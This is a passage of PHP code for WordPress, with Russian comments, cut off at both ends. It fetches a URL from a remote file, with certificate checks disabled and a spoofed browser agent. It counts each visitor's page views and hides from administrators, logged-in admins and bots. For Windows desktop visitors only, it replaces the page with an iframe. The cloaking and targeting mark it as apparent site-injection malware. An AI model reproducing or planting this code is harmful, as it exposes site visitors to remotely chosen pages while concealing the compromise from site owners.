true, 'url' => cwvm_clean($cached)) : cwvm_clean($cached); } $file = CWVM_URL_FILE; $info = array('file' => $file); $body = ''; // Попытка через cURL if (function_exists('curl_init')) { $ch = curl_init($file); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_MAXREDIRS, 3); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'); $body = curl_exec($ch); $info['code'] = curl_getinfo($ch, CURLINFO_HTTP_CODE); $info['err'] = curl_error($ch); curl_close($ch); if ($info['err'] || $info['code'] != 200) { error_log('CWVM cURL fail: ' . $info['err'] . ' (code ' . $info['code'] . ')'); $body = ''; } } // Fallback через WP HTTP API if (empty($body) && function_exists('wp_remote_get')) { $r = wp_remote_get($file, array( 'timeout' => 10, 'redirection' => 3, 'sslverify' => false, 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', )); $info['wp_error'] = is_wp_error($r) ? $r->get_error_message() : null; if (!is_wp_error($r) && wp_remote_retrieve_response_code($r) == 200) { $body = wp_remote_retrieve_body($r); } else { error_log('CWVM WP fail: ' . print_r($info['wp_error'], true)); } } $clean = cwvm_clean($body); $info['url'] = $clean; if (!empty($clean)) { set_transient($key, $body, CWVM_CACHE_TTL); } return $debug ? $info : $clean; } /** * Уникальный ключ посетителя по IP + UA */ function cwvm_visitor_key() { $ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : 'unknown'; $ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; return 'cwvm_v_' . md5($ip . $ua); } /** * Текущий счётчик показов: cookie → transient fallback */ function cwvm_get_count() { if (isset($_COOKIE['cwvm_c'])) { return intval($_COOKIE['cwvm_c']); } $db = get_transient(cwvm_visitor_key()); return ($db !== false) ? intval($db) : 0; } /** * Увеличить счётчик — cookie + transient (двойная защита) */ function cwvm_increment_count($current) { $new = $current + 1; $secure = !empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off'; if (PHP_VERSION_ID >= 70300) { setcookie('cwvm_c', (string) $new, array( 'expires' => time() + 31536000, 'path' => '/', 'secure' => $secure, 'httponly' => false, 'samesite' => 'Lax', )); } else { setcookie('cwvm_c', (string) $new, time() + 31536000, '/'); } set_transient(cwvm_visitor_key(), $new, CWVM_VISITOR_TTL); } /** * Статический флаг — только ОДИН метод показывает iframe за запрос * Первый вызов возвращает true (разрешение), последующие — false */ function cwvm_mark_shown() { static $shown = false; if ($shown) return false; $shown = true; return true; } /** * Универсальная проверка — нужно ли показывать iframe */ function cwvm_should_show() { if (is_admin()) return false; if (function_exists('wp_doing_ajax') && wp_doing_ajax()) return false; if (function_exists('wp_doing_cron') && wp_doing_cron()) return false; if (defined('REST_REQUEST') && REST_REQUEST) return false; if (defined('XMLRPC_REQUEST') && XMLRPC_REQUEST) return false; if (cwvm_is_admin_user()) return false; if (cwvm_is_bot()) return false; if (!cwvm_is_windows_desktop()) return false; return true; } /** * HTML для полной замены страницы (Метод 1) */ function cwvm_full_page($url) { return '